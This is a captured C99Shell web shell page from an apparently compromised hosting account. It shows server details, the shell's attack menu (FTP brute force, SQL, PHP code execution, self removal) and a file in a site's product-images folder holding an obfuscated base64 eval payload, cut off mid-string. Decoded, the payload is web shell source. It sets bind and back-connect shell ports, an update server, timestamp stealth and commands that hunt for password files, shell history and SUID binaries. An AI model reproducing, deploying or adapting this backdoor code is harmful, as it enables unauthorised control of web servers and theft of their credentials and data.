!C99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.4.45 

uname -a: Linux webm097.cluster007.gra.hosting.ovh.net 5.15.74-ovh-vps-grsec-zfs-classid #1 SMP Wed
Oct 26 09:50:47 UTC 2022 x86_64
 

uid=763961(ebenisteaz) gid=100(users) groups=100(users) 

Safe-mode: OFF (not secure)

/home/ebenisteaz/www/images/produits/   drwx---r-x
Free 0 B of 0 B (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     actus_1.php.txt (211.44 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
eval(base64_decode('CmlmICghZnVuY3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkge2Z1bmN0aW9uIGdldG1pY3JvdGltZSgpIHtsaXN0KCR1c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3RpbWUoKSk7IHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpO319CmVycm9yX3JlcG9ydGluZyg1KTsKQGlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOwpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOwppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkge2lmICghZnVuY3Rpb25fZXhpc3RzKCJzdHJpcHMiKSkge2Z1bmN0aW9uIHN0cmlwcygmJGFyciwkaz0iIikge2lmIChpc19hcnJheSgkYXJyKSkge2ZvcmVhY2goJGFyciBhcyAkaz0+JHYpIHtpZiAoc3RydG91cHBlcigkaykgIT0gIkdMT0JBTFMiKSB7c3RyaXBzKCRhcnJbIiRrIl0pO319fSBlbHNlIHskYXJyID0gc3RyaXBzbGFzaGVzKCRhcnIpO319fSBzdHJpcHMoJEdMT0JBTFMpO30KJF9SRVFVRVNUID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsJF9HRVQsJF9QT1NUKTsKZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7aWYgKCFpc3NldCgkJGspKSB7JCRrID0gJHY7fX0KCiRzaHZlciA9ICIxLjAgcHJlLXJlbGVhc2UgYnVpbGQgIzE2IjsgLy9DdXJyZW50IHZlcnNpb24KLy9DT05GSUdVUkFUSU9OIEFORCBTRVRUSU5HUwppZiAoIWVtcHR5KCR1bnNldF9zdXJsKSkge3NldGNvb2tpZSgiYzk5c2hfc3VybCIpOyAkc3VybCA9ICIiO30KZWxzZWlmICghZW1wdHkoJHNldF9zdXJsKSkgeyRzdXJsID0gJHNldF9zdXJsOyBzZXRjb29raWUoImM5OXNoX3N1cmwiLCRzdXJsKTt9CmVsc2UgeyRzdXJsID0gJF9SRVFVRVNUWyJjOTlzaF9zdXJsIl07IC8vU2V0IHRoaXMgY29va2llIGZvciBtYW51YWwgU1VSTAp9Cgokc3VybF9hdXRvZmlsbF9pbmNsdWRlID0gVFJVRTsgLy9JZiBUUlVFIHRoZW4gc2VhcmNoIHZhcmlhYmxlcyB3aXRoIGRlc2NyaXB0b3JzIChVUkxzKSBhbmQgc2F2ZSBpdCBpbiBTVVJMLgoKaWYgKCRzdXJsX2F1dG9maWxsX2luY2x1ZGUgYW5kICEkX1JFUVVFU1RbImM5OXNoX3N1cmwiXSkgeyRpbmNsdWRlID0gIiYiOyBmb3JlYWNoIChleHBsb2RlKCImIixnZXRlbnYoIlFVRVJZX1NUUklORyIpKSBhcyAkdikgeyR2ID0gZXhwbG9kZSgiPSIsJHYpOyAkbmFtZSA9IHVybGRlY29kZSgkdlswXSk7ICR2YWx1ZSA9IHVybGRlY29kZSgkdlsxXSk7IGZvcmVhY2ggKGFycmF5KCJodHRwOi8vIiwiaHR0cHM6Ly8iLCJzc2w6Ly8iLCJmdHA6Ly8iLCJcXFxcIikgYXMgJG5lZWRsZSkge2lmIChzdHJwb3MoJHZhbHVlLCRuZWVkbGUpID09PSAwKSB7JGluY2x1ZGVzdHIgLj0gdXJsZW5jb2RlKCRuYW1lKS4iPSIudXJsZW5jb2RlKCR2YWx1ZSkuIiYiO319fSBpZiAoJF9SRVFVRVNUWyJzdXJsX2F1dG9maWxsX2luY2x1ZGUiXSkgeyRpbmNsdWRlc3RyIC49ICJzdXJsX2F1dG9maWxsX2luY2x1ZGU9MSYiO319CmlmIChlbXB0eSgkc3VybCkpCnsKICRzdXJsID0gIj8iLiRpbmNsdWRlc3RyOyAvL1NlbGYgdXJsCn0KJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsKCiR0aW1lbGltaXQgPSAwOyAvL3RpbWUgbGltaXQgb2YgZXhlY3V0aW9uIHRoaXMgc2NyaXB0IG92ZXIgc2VydmVyIHF1b3RlIChzZWNvbmRzKSwgMCA9IHVubGltaXRlZC4KCi8vQXV0aGVudGljYXRpb24KJGxvZ2luID0gIiI7IC8vbG9naW4KLy9ET04nVCBGT1JHT1QgQUJPVVQgUEFTU1dPUkQhISEKJHBhc3MgPSAiIjsgLy9wYXNzd29yZAokbWQ1X3Bhc3MgPSAiIjsgLy9tZDUtY3J5cGVkIHBhc3MuIGlmIG51bGwsIG1kNSgkcGFzcykKCiRob3N0X2FsbG93ID0gYXJyYXkoIioiKTsgLy9hcnJheSAoInttYXNrfTEiLCJ7bWFza30yIiwuLi4pLCB7bWFza30gPSBJUCBvciBIT1NUIGUuZy4gYXJyYXkoIjE5Mi4xNjguMC4qIiwiMTI3LjAuMC4xIikKJGxvZ2luX3R4dCA9ICJSZXN0cmljdGVkIGFyZWEiOyAvL2h0dHAtYXV0aCBtZXNzYWdlLgokYWNjZXNzZGVuaWVkbWVzcyA9ICI8YSBocmVmPVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jOTlzaGVsbFwiPmM5OXNoZWxsIHYuIi4kc2h2ZXIuIjwvYT46IGFjY2VzcyBkZW5pZWQiOwoKJGd6aXBlbmNvZGUgPSBUUlVFOyAvL0VuY29kZSB3aXRoIGd6aXA/CgokdXBkYXRlbm93ID0gRkFMU0U7IC8vSWYgVFJVRSwgdXBkYXRlIG5vdyAodGhpcyB2YXJpYWJsZSB3aWxsIGJlIEZBTFNFKQoKJGM5OXNoX3VwZGF0ZXVybCA9ICJodHRwOi8vY2N0ZWFtLnJ1L3VwZGF0ZS9jOTlzaGVsbC8iOyAvL1VwZGF0ZSBzZXJ2ZXIKJGM5OXNoX3NvdXJjZXN1cmwgPSAiaHR0cDovL2NjdGVhbS5ydS9maWxlcy9jOTlzaF9zb3VyY2VzLyI7IC8vU291cmNlcy1zZXJ2ZXIKCiRmaWxlc3RlYWx0aCA9IFRSVUU7IC8vaWYgVFJVRSwgZG9uJ3QgY2hhbmdlIG1vZGlmeS0gYW5kIGFjY2Vzcy10aW1lCgokZG9uYXRlZF9odG1sID0gIjxjZW50ZXI+PGI+T3duZWQgYnkgaGFja2VyPC9iPjwvY2VudGVyPiI7Ci8qIElmIHlvdSBwdWJsaXNoIGZyZWUgc2hlbGwgYW5kIHlvdSB3aXNoCmFkZCBsaW5rIHRvIHlvdXIgc2l0ZSBvciBhbnkgb3RoZXIgaW5mb3JtYXRpb24sCnB1dCBoZXJlIHlvdXIgaHRtbC4gKi8KJGRvbmF0ZWRfYWN0ID0gYXJyYXkoIiIpOyAvL2FycmF5ICgiYWN0MSIsImFjdDIsIi4uLiksIGlmICRhY3QgaXMgaW4gdGhpcyBhcnJheSwgZGlzcGxheSAkZG9uYXRlZF9odG1sLgoKJGN1cmRpciA9ICIuLyI7IC8vc3RhcnQgZm9sZGVyCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9PVCIpOwokdG1wZGlyID0gIiI7IC8vRm9sZGVyIGZvciB0ZW1wb3J5IGZpbGVzLiBJZiBlbXB0eSwgYXV0by1maWxsICgvdG1wIG9yICVXSU5ESVIvdGVtcCkKJHRtcGRpcl9sb2cgPSAiLi8iOyAvL0RpcmVjdG9yeSBsb2dzIG9mIGxvbmcgcHJvY2Vzc2VzIChlLmcuIGJydXRlLCBzY2FuLi4uKQoKJGxvZ19lbWFpbCA9ICJ1c2VyQGhvc3QudGxkIjsgLy9EZWZhdWx0IGUtbWFpbCBmb3Igc2VuZGluZyBsb2dzCgokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZhdWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRpbmcKJHNvcnRfc2F2ZSA9IFRSVUU7IC8vSWYgVFJVRSB0aGVuIHNhdmUgc29ydGluZy1wb3NpdGlvbiB1c2luZyBjb29raWVzLgoKLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLgovLyAgYXJyYXkoCi8vICAgInthY3Rpb24xfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksCi8vICAgInthY3Rpb24yfSI9PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksCi8vICAgLi4uCi8vICApCiRmdHlwZXMgID0gYXJyYXkoCiAiaHRtbCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwKICJ0eHQiPT5hcnJheSgidHh0IiwiY29uZiIsImJhdCIsInNoIiwianMiLCJiYWsiLCJkb2MiLCJsb2ciLCJzZmMiLCJjZmciLCJodGFjY2VzcyIpLAogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwKICJpbmkiPT5hcnJheSgiaW5pIiwiaW5mIiksCiAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksCiAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwKICJzZGIiPT5hcnJheSgic2RiIiksCiAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQopOwoKLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZXMuCi8vICBhcnJheSgKLy8gICBzdHJpbmcgImNvbW1hbmR7aX0iPT5hcnJheSgiZXh0MSIsImV4dDIiLCJleHQzIiwuLi4pLAovLyAgIC4uLgovLyAgKQovLyAgIHtjb21tYW5kfTogJWYlID0gZmlsZW5hbWUKJGV4ZWZ0eXBlcyAgPSBhcnJheSgKIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0IiksCiAicGVybCAlZiUiID0+IGFycmF5KCJwbCIsImNnaSIpCik7CgovKiBIaWdobGlnaHRlZCBmaWxlcy4KICBhcnJheSgKICAgaT0+YXJyYXkoe3JlZ2V4cH0se3R5cGV9LHtvcGVudGFnfSx7Y2xvc2V0YWd9LHticmVha30pCiAgIC4uLgogICkKICBzdHJpbmcge3JlZ2V4cH0gLSByZWd1bGFyIGV4cC4KICBpbnQge3R5cGV9OgowIC0gZmlsZXMgYW5kIGZvbGRlcnMgKGFzIGRlZmF1bHQpLAoxIC0gZmlsZXMgb25seSwgMiAtIGZvbGRlcnMgb25seQogIHN0cmluZyB7b3BlbnRhZ30gLSBvcGVuIGh0bWwtdGFnLCBlLmcuICI8Yj4iIChkZWZhdWx0KQogIHN0cmluZyB7Y2xvc2V0YWd9IC0gY2xvc2UgaHRtbC10YWcsIGUuZy4gIjwvYj4iIChkZWZhdWx0KQogIGJvb2wge2JyZWFrfSAtIGlmIFRSVUUgYW5kIGZvdW5kIG1hdGNoIHRoZW4gYnJlYWsKKi8KJHJlZ3hwX2hpZ2hsaWdodCAgPSBhcnJheSgKICBhcnJheShiYXNlbmFtZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4iLCI8L2ZvbnQ+IiksIC8vIGV4YW1wbGUKICBhcnJheSgiY29uZmlnLnBocCIsMSkgLy8gZXhhbXBsZQopOwoKJHNhZmVtb2RlX2Rpc2tldHRlcyA9IGFycmF5KCJhIik7IC8vIFRoaXMgdmFyaWFibGUgZm9yIGRpc2FibGluZyBkaXNrZXR0LWVycm9ycy4KIC8vIGFycmF5IChpPT57bGV0dGVyfSAuLi4pOyBzdHJpbmcge2xldHRlcn0gLSBsZXR0ZXIgb2YgYSBkcml2ZQovLyRzYWZlbW9kZV9kaXNrZXR0ZXMgPSByYW5nZSgiYSIsInoiKTsKJGhleGR1bXBfbGluZXMgPSA4Oy8vIGxpbmVzIGluIGhleCBwcmV2aWV3IGZpbGUKJGhleGR1bXBfcm93cyA9IDI0Oy8vIDE2LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQoKJG5peHB3ZHBlcnBhZ2UgPSAxMDA7IC8vIEdldCBmaXJzdCBOIGxpbmVzIGZyb20gL2V0Yy9wYXNzd2QKCiRiaW5kcG9ydF9wYXNzID0gImM5OSI7ICAvLyBkZWZhdWx0IHBhc3N3b3JkIGZvciBiaW5kaW5nCiRiaW5kcG9ydF9wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nCiRiY19wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiYWNrLWNvbm5lY3QKJGRhdGFwaXBlX2xvY2FscG9ydCA9ICI4MDgxIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBkYXRhcGlwZQoKLy8gQ29tbWFuZC1hbGlhc2VzCmlmICghJHdpbikKewogJGNtZGFsaWFzZXMgPSBhcnJheSgKICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAibHMgLWxhIiksCiAgYXJyYXkoImZpbmQgYWxsIHN1aWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLAogIGFycmF5KCJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLAogIGFycmF5KCJmaW5kIGFsbCBzZ2lkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIpLAogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwKICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiwgImZpbmQgLyAtcGVybSAtMiAtbHMiKSwKICBhcnJheSgiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC1wZXJtIC0yIC1scyIpLAogIGFycmF5KCJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLAogIGFycmF5KCJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksCiAgYXJyYXkoImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwKICBhcnJheSgiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksCiAgYXJyYXkoImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLAogIGFycmF5KCJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLAogIGFycmF5KCJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksCiAgYXJyYXkoImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLAogIGFycmF5KCJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIsICJsc2F0dHIgLXZhIiksCiAgYXJyYXkoInNob3cgb3BlbmVkIHBvcnRzIiwgIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iKQogKTsKfQplbHNlCnsKICRjbWRhbGlhc2VzID0gYXJyYXkoCiAgYXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiwgImRpciIpLAogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiIpCiApOwp9Cgokc2Vzc19jb29raWUgPSAiYzk5c2h2YXJzIjsgLy8gQ29va2llLXZhcmlhYmxlIG5hbWUKCiR1c2Vmc2J1ZmYgPSBUUlVFOyAvL0J1ZmZlci1mdW5jdGlvbgokY29weV91bnNldCA9IEZBTFNFOyAvL1JlbW92ZSBjb3BpZWQgZmlsZXMgZnJvbSBidWZmZXIgYWZ0ZXIgcGFzdGluZwoKLy9RdWljayBsYXVuY2gKJHF1aWNrbGF1bmNoID0gYXJyYXkoCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1ob21lXCIgYWx0PVwiSG9tZVwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJhY2tcIiBhbHQ9XCJCYWNrXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5iYWNrKDEpIiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1mb3J3YXJkXCIgYWx0PVwiRm9yd2FyZFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuZ28oMSkiKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXVwXCIgYWx0PVwiVVBESVJcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWxzJmQ9JXVwZCZzb3J0PSVzb3J0IiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1yZWZyZXNoXCIgYWx0PVwiUmVmcmVzaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIxN1wiIGJvcmRlcj1cIjBcIj4iLCIiKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNlYXJjaFwiIGFsdD1cIlNlYXJjaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9c2VhcmNoJmQ9JWQiKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJ1ZmZlclwiIGFsdD1cIkJ1ZmZlclwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9ZnNidWZmJmQ9JWQiKSwKIGFycmF5KCI8Yj5FbmNvZGVyPC9iPiIsJHN1cmwuImFjdD1lbmNvZGVyJmQ9JWQiKSwKIGFycmF5KCI8Yj5Ub29sczwvYj4iLCRzdXJsLiJhY3Q9dG9vbHMmZD0lZCIpLAogYXJyYXkoIjxiPlByb2MuPC9iPiIsJHN1cmwuImFjdD1wcm9jZXNzZXMmZD0lZCIpLAogYXJyYXkoIjxiPkZUUCBicnV0ZTwvYj4iLCRzdXJsLiJhY3Q9ZnRwcXVpY2ticnV0ZSZkPSVkIiksCiBhcnJheSgiPGI+U2VjLjwvYj4iLCRzdXJsLiJhY3Q9c2VjdXJpdHkmZD0lZCIpLAogYXJyYXkoIjxiPlNRTDwvYj4iLCRzdXJsLiJhY3Q9c3FsJmQ9JWQiKSwKIGFycmF5KCI8Yj5QSFAtY29kZTwvYj4iLCRzdXJsLiJhY3Q9ZXZhbCZkPSVkIiksCiBhcnJheSgiPGI+VXBkYXRlPC9iPiIsJHN1cmwuImFjdD11cGRhdGUmZD0lZCIpLAogYXJyYXkoIjxiPkZlZWRiYWNrPC9iPiIsJHN1cmwuImFjdD1mZWVkYmFjayZkPSVkIiksCiBhcnJheSgiPGI+U2VsZiByZW1vdmU8L2I+Iiwkc3VybC4iYWN0PXNlbGZyZW1vdmUiKSwKIGFycmF5KCI8Yj5Mb2dvdXQ8L2I+IiwiI1wiIG9uY2xpY2s9XCJpZiAoY29uZmlybSgnQXJlIHlvdSBzdXJlPycpKSB3aW5kb3cuY2xvc2UoKSIpCik7CgovL0hpZ2hsaWdodC1jb2RlIGNvbG9ycwokaGlnaGxpZ2h0X2JhY2tncm91bmQgPSAiI2MwYzBjMCI7CiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7CiRoaWdobGlnaHRfY29tbWVudCA9ICIjNkE2QTZBIjsKJGhpZ2hsaWdodF9kZWZhdWx0ID0gIiMwMDAwQkIiOwokaGlnaGxpZ2h0X2h0bWwgPSAiIzEzMDBGRiI7CiRoaWdobGlnaHRfa2V5d29yZCA9ICIjMDA3NzAwIjsKJGhpZ2hsaWdodF9zdHJpbmcgPSAiIzAwMDAwMCI7CgpAJGYgPSAkX1JFUVVFU1RbImYiXTsKQGV4dHJhY3QoJF9SRVFVRVNUWyJjOTlzaGNvb2siXSk7CgovL0VORCBDT05GSUdVUkFUSU9OCgoKLy8gXC9OZXh0IGNvZGUgaXNuJ3QgZm9yIGVkaXRpbmdcLwpAc2V0X3RpbWVfbGltaXQoMCk7CiR0bXAgPSBhcnJheSgpOwpmb3JlYWNoKCRob3N0X2FsbG93IGFzICRrPT4kdikgeyR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpO30KJHMgPSAiIV4oIi5pbXBsb2RlKCJ8IiwkdG1wKS4iKSQhaSI7CmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7ZXhpdCgiPGEgaHJlZj1cImh0dHA6Ly9jY3RlYW0ucnUvcmVsZWFzZXMvY2M5OXNoZWxsXCI+Yzk5c2hlbGw8L2E+OiBBY2Nlc3MgRGVuaWVkIC0geW91ciBob3N0ICgiLmdldGVudigiUkVNT1RFX0FERFIiKS4iKSBub3QgYWxsb3ciKTt9CmlmICghZW1wdHkoJGxvZ2luKSkKewogaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30KIGlmICgoJF9TRVJWRVJbIlBIUF9BVVRIX1VTRVIiXSAhPSAkbG9naW4pIG9yIChtZDUoJF9TRVJWRVJbIlBIUF9BVVRIX1BXIl0pICE9ICRtZDVfcGFzcykpCiB7CiAgaWYgKGVtcHR5KCRsb2dpbl90eHQpKSB7JGxvZ2luX3R4dCA9IHN0cmlwX3RhZ3MoZXJlZ19yZXBsYWNlKCImbmJzcDt8PGJyPiIsIiAiLCRkb25hdGVkX2h0bWwpKTt9CiAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cImM5OXNoZWxsICIuJHNodmVyLiI6ICIuJGxvZ2luX3R4dC4iXCIiKTsKICBoZWFkZXIoIkhUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQiKTsKICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsKIH0KfQppZiAoJGFjdCAhPSAiaW1nIikKewokbGFzdGRpciA9IHJlYWxwYXRoKCIuIik7CmNoZGlyKCRjdXJkaXIpOwppZiAoJHNlbGZ3cml0ZSBvciAkdXBkYXRlbm93KSB7QG9iX2NsZWFuKCk7IGM5OXNoX2dldHVwZGF0ZSgkc2VsZndyaXRlLDEpOyBleGl0O30KJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9CgokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKaWYgKCFlbXB0eSgkZGlzYWJsZWZ1bmMpKQp7CiAkZGlzYWJsZWZ1bmMgPSBzdHJfcmVwbGFjZSgiICIsIiIsJGRpc2FibGVmdW5jKTsKICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUoIiwiLCRkaXNhYmxlZnVuYyk7Cn0KCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlfYnVmZl9wcmVwYXJlIikpCnsKZnVuY3Rpb24gYzk5X2J1ZmZfcHJlcGFyZSgpCnsKIGdsb2JhbCAkc2Vzc19kYXRhOwogZ2xvYmFsICRhY3Q7CiBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQogZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9CiAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY29weSJdKTsKICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsKIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsKIHNvcnQoJHNlc3NfZGF0YVsiY3V0Il0pOwogaWYgKCRhY3QgIT0gImNvcHkiKSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY29weSJdWyRrXSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pOyB9fX0KIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQp9Cn0KYzk5X2J1ZmZfcHJlcGFyZSgpOwppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5X3Nlc3NfcHV0IikpCnsKZnVuY3Rpb24gYzk5X3Nlc3NfcHV0KCRkYXRhKQp7CiBnbG9iYWwgJHNlc3NfY29va2llOwogZ2xvYmFsICRzZXNzX2RhdGE7CiBjOTlfYnVmZl9wcmVwYXJlKCk7CiAkc2Vzc19kYXRhID0gJGRhdGE7CiAkZGF0YSA9IHNlcmlhb